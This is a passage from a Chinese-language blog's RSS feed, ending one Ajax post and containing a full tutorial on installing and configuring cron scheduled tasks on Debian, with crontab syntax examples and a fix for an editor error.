&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Fri, 14 Sep 2018 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2018/09/14/ajax-notes/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2018/09/14/ajax-notes/</guid>
        
        <category>Ajax</category>
        
        <category>Jquery</category>
        
        <category>异步</category>
        
        <category>同步</category>
        
        
        <category>Ajax</category>
        
      </item>
    
      <item>
        <title> debian下执行定时任务及问题解决</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#一安装crond&quot; id=&quot;markdown-toc-一安装crond&quot;&gt;一、安装crond&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#二配置文件&quot; id=&quot;markdown-toc-二配置文件&quot;&gt;二、配置文件&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#1常用的cron命令&quot; id=&quot;markdown-toc-1常用的cron命令&quot;&gt;1.常用的cron命令：&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#2下面讲如何配置定时任务&quot; id=&quot;markdown-toc-2下面讲如何配置定时任务&quot;&gt;2.下面讲如何配置定时任务&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#3几个特殊符号的含义&quot; id=&quot;markdown-toc-3几个特殊符号的含义&quot;&gt;3.几个特殊符号的含义&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#4注意事项&quot; id=&quot;markdown-toc-4注意事项&quot;&gt;4.注意事项&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#三出现错误问题&quot; id=&quot;markdown-toc-三出现错误问题&quot;&gt;三、出现错误问题:&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;一安装crond&quot;&gt;一、安装crond&lt;/h1&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt-get install cron&lt;/code&gt;
&lt;h1 id=&quot;二配置文件&quot;&gt;二、配置文件&lt;/h1&gt;
&lt;h2 id=&quot;1常用的cron命令&quot;&gt;1.常用的cron命令：&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/etc/init.d/crond start   //启动
/etc/init.d/crond stop    //关闭
/etc/init.d/crond restart //重启
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
有的系统可能init.d目录下没有crond，只有cron，其实也一样，只不过把crond换为cron：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/etc/init.d/cron start   //启动
/etc/init.d/cron stop    //关闭
/etc/init.d/cron restart //重启
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
判断crond 是否在运行：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pgrep crond&lt;/code&gt;或者&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pgrep cron&lt;/code&gt;，如果有在运行则返回进程号。
杀掉crond进程：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkill crond&lt;/code&gt;或者&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkill cron&lt;/code&gt;，此法可用在关闭或重启不了cron的时候。
配置cron定时任务：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crontab -e&lt;/code&gt;，配置文件路径一般为&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/spool/cron/crontabs/root&lt;/code&gt;
这个是root用户的配置文件，其它用户是对应的用户名命名的文件，所以配置定时任务也可以
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vi /var/spool/cron/crontabs/root&lt;/code&gt;
进入编辑。
crontab -u&lt;用户名称&gt;
查看配置文件：crontab –l&lt;/用户名称&gt;
&lt;h2 id=&quot;2下面讲如何配置定时任务&quot;&gt;2.下面讲如何配置定时任务&lt;/h2&gt;
基本格式 :
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;* * * * * command&lt;/code&gt;
几个星号分别为：分 时 日 月 周，最后是要执行的命令。
分：0~59
时：0~23
日：1~31
月：1~12
周：0～6（0表示星期天）
配置文件的一些例子：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0 3 * * * /root/test.sh 每天凌晨3点执行test.sh文件
* 23-7/1 * * * /root/lnmp restart 晚上11点到早上7点之间，每隔一小时重启lnmp套件
*/30 * * * * /usr/sbin/ntpdate 每半小时同步一下时间
0 23 * * 6 /lnmp restart 每星期六的11 : 00 pm重启重启lnmp套件。
* */1 * * * /usr/bin/mutt -s &quot;hello&quot; test@seeke.net &amp;lt;/home/content.txt 每隔1小时发送一封电子邮件。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;3几个特殊符号的含义&quot;&gt;3.几个特殊符号的含义&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;“*”代表取值范围内的数字,
“/”代表”每”,
“-”代表从某个数字到某个数字,
“,”分开几个离散的数字
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;4注意事项&quot;&gt;4.注意事项&lt;/h2&gt;
很多朋友可能在用cron 的时候会遇到命令不执行的情况。遇到这种情况一般首先是检查cron有没有在运行，如果有在运行在重启一下cron，让它重新加载配置试试，再就是检查配置文件有没有格式错误，如果这些都没有问题，那我就讲下我是怎么处理的，把执行语句调频繁一些比如：
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*/1 * * * * /root/test.sh&lt;/code&gt;
每分钟执行一次测试语句，看看任务有没有执行，如果有被执行，那就是软件，和配置文件都没有问题了，那很可能就是时间对不上的问题了的，比如时区不对，在我的实践中遇到，cron默认好像是按照天文时间来执行的，即使你的服务器时区是配置正确的也这样，不知为何，也可能是个例，比如我的时间是东8区，设定03:00点执行的命令，实际是11:00点执行的，这是也可以变通下，把时间+8设定为19:00，就可以达到03:00执行的目的了。

&lt;h1 id=&quot;三出现错误问题&quot;&gt;三、出现错误问题:&lt;/h1&gt;

crontab -e出现:

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crontab: &quot;/usr/bin/sensible-editor&quot; exited with status 1&lt;/code&gt;

解决方法:
输入&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select-editr&lt;/code&gt;
出现
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Select an editor. To change later, run 'select-editor'.
1. /bin/ed
2. /bin/nano &amp;lt;---- easiest
3. /usr/bin/vim.basic
4. /usr/bin/vim.tiny
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
我们选择3,更改编辑器
Choose 1-4 [2]: 3

</description>
        <pubDate>Mon, 20 Aug 2018 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2018/08/20/crond/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2018/08/20/crond/</guid>
        
        <category>linux</category>
        
        <category>crond</category>
        
        <category>定时任务</category>
        
        <category>debian</category>
        
        
        <category>Linux</category>
        
      </item>
    
  </channel>
</rss>
